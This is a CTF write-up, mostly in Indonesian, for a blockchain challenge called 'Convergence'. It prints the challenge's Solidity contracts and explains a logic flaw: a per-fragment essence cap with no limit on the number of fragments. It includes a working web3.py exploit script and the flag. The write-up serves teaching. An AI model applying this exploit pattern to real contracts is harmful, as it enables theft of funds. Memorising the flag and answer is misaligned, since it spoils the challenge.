Writeup Aria
C2C QualificationBlockchain

Convergence

alt text

description

Author: chovid99

Convergence.... Start challenge from: http://challenges.1pc.tf:50000/c2c2026-quals-blockchain-convergence

Attachments

Challenge.sol

// SPDX-License-Identifier: MIT
pragma solidity ^0.8.20;

interface ISetup {
    function chronicles(bytes32) external view returns (bool);
}

struct SoulFragment {
    address vessel;
    uint256 essence;
    bytes resonance;
}

contract Challenge {
    ISetup public setup;

    address public ascended;

    mapping(address => bool) public seekers;
    mapping(address => uint256) public seekerSince;

    mapping(address => uint256) public destinyPower;
    mapping(address => uint256) public soulEssence;
    mapping(address => uint256) public convergencePoints;

    mapping(bytes32 => bool) public consumed;

    uint256 public constant TRANSCENDENCE_ESSENCE = 1000 ether;
    uint256 public constant CONVERGENCE_REQUIREMENT = 100;

    event SeekerRegistered(address indexed seeker, uint256 timestamp);
    event DestinyOffered(address indexed seeker, uint256 power);
    event SoulsHarvested(address indexed seeker, uint256 essence);
    event ConvergenceAchieved(address indexed seeker, uint256 points);
    event Transcended(address indexed ascended);

    constructor(address _setup) {
        setup = ISetup(_setup);
    }

    function registerSeeker() external {
        require(!seekers[msg.sender], "Already a seeker");
        seekers[msg.sender] = true;
        seekerSince[msg.sender] = block.timestamp;
        emit SeekerRegistered(msg.sender, block.timestamp);
    }

    function offerDestiny(bytes calldata manifestation) external {
        require(seekers[msg.sender], "Not a seeker");

        bytes32 seal = keccak256(abi.encodePacked(msg.sender, manifestation));
        require(setup.chronicles(seal), "Manifestation not chronicled");
        require(!consumed[seal], "Chronicle already consumed");
        consumed[seal] = true;

        (
            bytes[] memory threads,
            ,
            uint256[][] memory weights
        ) = abi.decode(manifestation, (bytes[], bytes[], uint256[][]));

        uint256 power;
        for (uint i = 0; i < threads.length; i++) {
            power += threads[i].length * 1e15;
        }
        for (uint i = 0; i < weights.length; i++) {
            for (uint j = 0; j < weights[i].length; j++) {
                power += weights[i][j];
            }
        }

        destinyPower[msg.sender] += power;
        emit DestinyOffered(msg.sender, power);
    }

    function harvestSouls(bytes calldata agreement) external {
        require(seekers[msg.sender], "Not a seeker");

        bytes32 seal = keccak256(abi.encodePacked(msg.sender, agreement));
        require(setup.chronicles(seal), "Agreement not chronicled");
        require(!consumed[seal], "Chronicle already consumed");
        consumed[seal] = true;

        (
            SoulFragment[] memory fragments,
            ,
            ,
            address binder,

        ) = abi.decode(agreement, (SoulFragment[], bytes32, uint32, address, address));

        require(binder == msg.sender, "Not the binder");

        uint256 essence;
        for (uint i = 0; i < fragments.length; i++) {
            essence += fragments[i].essence;
        }

        soulEssence[msg.sender] += essence;
        emit SoulsHarvested(msg.sender, essence);
    }

    function achieveConvergence(bytes calldata destinyData, bytes calldata soulData) external {
        require(seekers[msg.sender], "Not a seeker");

        bytes32 destinySeal = keccak256(abi.encodePacked(msg.sender, destinyData));
        bytes32 soulSeal = keccak256(abi.encodePacked(msg.sender, soulData));

        require(setup.chronicles(destinySeal), "Destiny not chronicled");
        require(setup.chronicles(soulSeal), "Soul pact not chronicled");
        require(!consumed[destinySeal], "Destiny already consumed");
        require(!consumed[soulSeal], "Soul pact already consumed");

        consumed[destinySeal] = true;
        consumed[soulSeal] = true;

        (
            bytes[] memory threads,
            bytes[] memory anchors,

        ) = abi.decode(destinyData, (bytes[], bytes[], uint256[][]));

        (
            SoulFragment[] memory fragments,
            ,
            ,
            address binder,

        ) = abi.decode(soulData, (SoulFragment[], bytes32, uint32, address, address));

        require(binder == msg.sender, "Not the binder");

        uint256 points = threads.length * anchors.length * fragments.length;
        convergencePoints[msg.sender] += points;

        emit ConvergenceAchieved(msg.sender, points);
    }

    function transcend(bytes calldata truth) external {
        require(seekers[msg.sender], "Not a seeker");
        require(ascended == address(0), "Another has already ascended");

        bytes32 seal = keccak256(abi.encodePacked(msg.sender, truth));
        require(setup.chronicles(seal), "Truth not chronicled");

        (
            SoulFragment[] memory fragments,
            ,
            ,
            address invoker,
            address witness
        ) = abi.decode(truth, (SoulFragment[], bytes32, uint32, address, address));

        require(invoker == msg.sender, "You are not the invoker");

        uint256 totalEssence;
        for (uint i = 0; i < fragments.length; i++) {
            totalEssence += fragments[i].essence;
        }

        require(totalEssence >= TRANSCENDENCE_ESSENCE, "Insufficient essence in truth");
        require(witness == msg.sender, "The witness must be yourself");

        ascended = msg.sender;
        emit Transcended(msg.sender);
    }

    function getPowerLevels(address seeker) external view returns (
        uint256 destiny,
        uint256 soul,
        uint256 convergence
    ) {
        return (destinyPower[seeker], soulEssence[seeker], convergencePoints[seeker]);
    }
}

Setup.sol

// SPDX-License-Identifier: MIT
pragma solidity ^0.8.20;

import "./Challenge.sol";

contract Setup {
    Challenge public challenge;
    mapping(bytes32 => bool) public chronicles;

    constructor() {
        challenge = new Challenge(address(this));
    }

    function sealDestiny(bytes calldata manifestation) external {
        (
            bytes[] memory threads,
            bytes[] memory anchors,
            uint256[][] memory weights
        ) = abi.decode(manifestation, (bytes[], bytes[], uint256[][]));

        require(threads.length >= 1, "Destiny requires threads");
        require(anchors.length >= 1, "Destiny requires anchors");
        require(weights.length >= 1, "Destiny requires weights");

        for (uint i = 0; i < threads.length; i++) {
            require(threads[i].length > 0, "Empty thread detected");
        }

        for (uint i = 0; i < anchors.length; i++) {
            require(anchors[i].length > 0, "Empty anchor detected");
        }

        for (uint i = 0; i < weights.length; i++) {
            require(weights[i].length > 0, "Empty weight array detected");
        }

        bytes32 seal = keccak256(abi.encodePacked(msg.sender, manifestation));
        require(!chronicles[seal], "Already chronicled");
        chronicles[seal] = true;
    }

    function bindPact(bytes calldata agreement) external {
        (
            SoulFragment[] memory fragments,
            ,
            ,
            address binder,
            address witness
        ) = abi.decode(agreement, (SoulFragment[], bytes32, uint32, address, address));

        require(fragments.length >= 1, "Pact requires soul fragments");
        require(binder != address(0), "Invalid binder");
        require(witness != address(0), "Invalid witness");

        for (uint i = 0; i < fragments.length; i++) {
            require(fragments[i].vessel != address(0), "Invalid vessel in fragment");
            require(fragments[i].essence <= 100 ether, "Essence too powerful for pact");
        }

        bytes32 seal = keccak256(abi.encodePacked(msg.sender, agreement));
        require(!chronicles[seal], "Already chronicled");
        chronicles[seal] = true;
    }

    function isSolved() external view returns (bool) {
        return challenge.ascended() != address(0);
    }
}

Overview

Challenge ini adalah challenge blockchain berbasis smart contract Ethereum yang mengharuskan attacker untuk mencapai kondisi ascended dengan membuat sebuah "truth" yang valid.

Terdapat dua kontrak utama:

  • Setup.sol
  • Challenge.sol

Tujuan utama challenge ini adalah membuat contract Challenge mengatur:

ascended = msg.sender;

Namun untuk mencapai kondisi ini, terdapat beberapa validasi ketat yang harus dipenuhi.

Konsep utama challenge ini menggunakan sistem:

  • SoulFragments
  • Pact binding
  • Chronicle verification
  • Essence accumulation

Secara konsep, kita harus:

  1. Membuat sebuah agreement berisi SoulFragments
  2. Mendaftarkannya melalui Setup.bindPact()
  3. Menggunakan agreement yang sama untuk memanggil Challenge.transcend()
  4. Jika semua validasi lolos, maka address kita akan menjadi ascended

Challenge menyediakan dua smart contract utama:

  • Setup.sol
  • Challenge.sol

disini saya menggunakan AI untuk menganalisa source code dari kedua contract.

Kedua contract ini menggunakan sistem chronicles, yaitu mapping hash dari data yang telah disegel.

Contoh bagian penting dari Setup.bindPact():

bytes32 seal = keccak256(abi.encodePacked(msg.sender, agreement));
chronicles[seal] = true;

Artinya setiap agreement yang valid akan dicatat berdasarkan hash dari sender dan data agreement.

Validasi penting pada fragment:

require(fragments[i].essence <= 100 ether);

Ini membatasi essence maksimum per fragment.

Pada contract Challenge.sol, fungsi paling penting adalah:

function transcend(bytes calldata truth) external

Validasi utamanya:

require(setup.chronicles(seal));
require(totalEssence >= TRANSCENDENCE_ESSENCE);

Dimana:

TRANSCENDENCE_ESSENCE = 1000 ether

Jika semua validasi lolos:

ascended = msg.sender;

Analisis Smart Contract

Setup.sol

Fungsi penting:

function bindPact(bytes calldata agreement) external

Fungsi ini:

  • Decode agreement menjadi struktur SoulFragments
  • Memvalidasi setiap fragment
  • Jika valid, maka akan menyimpan chronicle
chronicles[keccak256(abi.encodePacked(msg.sender, agreement))] = true;

Artinya contract akan mencatat bahwa sender telah membuat pact yang valid.

Validasi penting:

require(fragment.vessel != address(0));
require(fragment.essence <= 100 ether);
require(binder != address(0));
require(witness != address(0));

Batasan paling penting:

essence maksimal per fragment = 100 ether

Challenge.sol

Fungsi utama exploit:

function transcend(bytes calldata truth) external

Validasi yang dilakukan:

1. Chronicle harus sudah terdaftar

require(
    setup.chronicles(
        keccak256(abi.encodePacked(msg.sender, truth))
    )
);

Artinya truth HARUS sama persis dengan agreement yang sebelumnya didaftarkan melalui bindPact.

Jika berbeda sedikit saja, maka akan gagal.

2. Invoker dan Witness harus sama dengan msg.sender

require(invoker == msg.sender);
require(witness == msg.sender);

Artinya kita harus set kedua field tersebut ke address attacker.

3. Total essence harus ≥ 1000 ether

require(totalEssence >= 1000 ether);

Ini adalah syarat utama untuk ascension.

Root Cause Vulnerability

Terdapat batasan:

essence per fragment ≤ 100 ether

Namun total yang dibutuhkan:

≥ 1000 ether

Artinya kita tidak bisa menggunakan 1 fragment saja.

Namun contract TIDAK membatasi jumlah fragment.

Sehingga kita bisa menggunakan:

10 fragment

masing-masing:

100 ether

Total:

10 × 100 ether = 1000 ether

Validasi akan lolos. Ini adalah logic flaw, bukan overflow atau bug cryptographic.

Struktur Truth

Format ABI encode:

(
    SoulFragment[] fragments,
    bytes32 seal,
    uint32 epoch,
    address invoker,
    address witness
)

Struktur fragment:

struct SoulFragment {
    address vessel;
    uint essence;
    bytes resonance;
}

Kita harus membuat:

  • fragments = array 10 fragment
  • vessel = address attacker
  • essence = 100 ether
  • resonance = kosong
  • invoker = attacker
  • witness = attacker

Langkah Penyelesaian

Step 0 — Akses RPC Node

Step 1 — Register sebagai Seeker

Panggil:

challenge.registerSeeker();

Ini akan mendaftarkan address kita sebagai seeker.

Step 2 — Membuat SoulFragments

Buat array berisi 10 fragment:

fragment = {

vessel: attacker address
essence: 100 ether
resonance: 0x

}

Total essence:

1000 ether

Step 3 — Encode Truth

Encode menggunakan ABI encode:

truth = abi.encode(
    fragments,
    bytes32(0),
    uint32(0),
    attacker,
    attacker
);

Step 4 — Bind Pact

Panggil:

setup.bindPact(truth);

Ini akan menyimpan:

chronicles[keccak256(msg.sender, truth)] = true;

Step 5 — Transcend

Gunakan truth yang sama:

challenge.transcend(truth);

Semua validasi akan lolos.

Contract akan menjalankan:

ascended = msg.sender;

Challenge solved.

Exploit Script (solver.py)

Berikut exploit script yang digunakan untuk solve challenge menggunakan solver.py:

from web3 import Web3
from eth_abi import encode

RPC_URL = "YOUR_RPC_URL"
PRIVKEY = "YOUR_PRIVATE_KEY"
SETUP_CONTRACT_ADDR = "SETUP_ADDRESS"

w3 = Web3(Web3.HTTPProvider(RPC_URL))
account = w3.eth.account.from_key(PRIVKEY)

setup_abi = [
    {"inputs":[],"name":"challenge","outputs":[{"type":"address"}],"stateMutability":"view","type":"function"},
    {"inputs":[{"name":"agreement","type":"bytes"}],"name":"bindPact","outputs":[],"stateMutability":"nonpayable","type":"function"},
    {"inputs":[],"name":"isSolved","outputs":[{"type":"bool"}],"stateMutability":"view","type":"function"}
]

challenge_abi = [
    {"inputs":[],"name":"registerSeeker","outputs":[],"stateMutability":"nonpayable","type":"function"},
    {"inputs":[{"name":"truth","type":"bytes"}],"name":"transcend","outputs":[],"stateMutability":"nonpayable","type":"function"}
]

setup = w3.eth.contract(address=SETUP_CONTRACT_ADDR, abi=setup_abi)
challenge_addr = setup.functions.challenge().call()
challenge = w3.eth.contract(address=challenge_addr, abi=challenge_abi)

def send_tx(tx):
    transaction = tx.build_transaction({
        "from": account.address,
        "nonce": w3.eth.get_transaction_count(account.address),
        "gasPrice": w3.eth.gas_price
    })

    signed = w3.eth.account.sign_transaction(transaction, PRIVKEY)
    tx_hash = w3.eth.send_raw_transaction(signed.raw_transaction)

    return w3.eth.wait_for_transaction_receipt(tx_hash)

# Step 1 — Register seeker
print("[*] Registering seeker...")
send_tx(challenge.functions.registerSeeker())

# Step 2 — Buat 10 fragments
print("[*] Preparing fragments...")
fragments = []
for _ in range(10):
    fragments.append((account.address, w3.to_wei(100, "ether"), b""))

# Step 3 — Encode truth
print("[*] Encoding truth...")
truth = encode(
    ['(address,uint256,bytes)[]', 'bytes32', 'uint32', 'address', 'address'],
    [fragments, b'\x00'*32, 0, account.address, account.address]
)

# Step 4 — Bind pact
print("[*] Binding pact...")
send_tx(setup.functions.bindPact(truth))

# Step 5 — Transcend
print("[*] Transcending...")
send_tx(challenge.functions.transcend(truth))

# Step 6 — Check solve
if setup.functions.isSolved().call():
    print("Challenge solved")

python3 solver.py

1771207086665

Script ini melakukan:

  1. Register sebagai seeker
  2. Membuat 10 fragment
  3. Encode truth
  4. Bind pact
  5. Transcend
  6. Verify solve

Mengapa exploit berhasil

Karena:

  • Tidak ada batas jumlah fragment
  • Hanya ada batas per fragment
  • Chronicle hanya memverifikasi hash agreement
  • Kita bisa reuse agreement yang sama

Sehingga kita bisa memenuhi requirement total essence.

setelah itu kita bisa get flag di blockchain laucher nya. 1771207240166

Flag

C2C{the_convergence_chall_is_basically_bibibibi}

On this page

Convergence